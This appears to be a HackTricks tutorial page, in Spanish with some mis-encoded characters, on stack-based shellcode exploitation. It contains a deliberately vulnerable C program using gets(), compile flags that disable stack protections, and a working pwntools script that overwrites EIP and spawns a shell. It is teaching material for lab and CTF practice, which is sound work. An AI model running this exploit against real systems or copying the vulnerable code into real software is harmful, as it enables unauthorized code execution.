# Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Informaci贸n B谩sica
**Stack shellcode** es una t茅cnica utilizada en **binary exploitation** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicaci贸n de este shellcode, causando que se ejecute. Este es un m茅todo cl谩sico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aqu铆 hay un desglose del proceso, incluyendo un ejemplo simple en C y c贸mo podr铆as escribir un exploit correspondiente usando Python con **pwntools**.
### Ejemplo en C: Un Programa Vulnerable
Comencemos con un ejemplo simple de un programa C vulnerable:
```c
#include
#include
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Este programa es vulnerable a un desbordamiento de b煤fer debido al uso de la funci贸n `gets()`.
### Compilaci贸n
Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Desactiva la protecci贸n de pila.
* `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila.
* `-no-pie`: Desactiva el ejecutable independiente de posici贸n, facilitando la predicci贸n de la direcci贸n de memoria donde se ubicar谩 nuestro shellcode.
* `-m32`: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits.
### Python Exploit usando Pwntools
Aqu铆 te mostramos c贸mo podr铆as escribir un exploit en Python usando **pwntools** para realizar un ataque **ret2shellcode**:
```python
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
```
Este script construye una carga 煤til que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la direcci贸n que apunta al NOP slide, asegurando que el shellcode se ejecute.
El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecuci贸n "deslice" hacia nuestro shellcode independientemente de la direcci贸n exacta. Ajusta el argumento `p32()` a la direcci贸n de inicio de tu buffer m谩s un desplazamiento para aterrizar en el NOP slide.
## Protecciones
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la direcci贸n sea confiable a trav茅s de ejecuciones o la direcci贸n donde se almacenar谩 la funci贸n no siempre ser谩 la misma y necesitar铆as alguna filtraci贸n para averiguar d贸nde se carga la funci贸n win.
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) tambi茅n deben estar deshabilitados o la direcci贸n de retorno EIP comprometida nunca ser谩 seguida.
* La protecci贸n de **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impedir铆a la ejecuci贸n del shellcode dentro de la pila porque esa regi贸n no ser谩 ejecutable.
## Otros Ejemplos y Referencias
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64bit, ASLR con filtraci贸n de direcci贸n de pila, escribir shellcode y saltar a 茅l
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32 bit, ASLR con filtraci贸n de pila, escribir shellcode y saltar a 茅l
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32 bit, ASLR con filtraci贸n de pila, comparaci贸n para prevenir la llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a 茅l
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}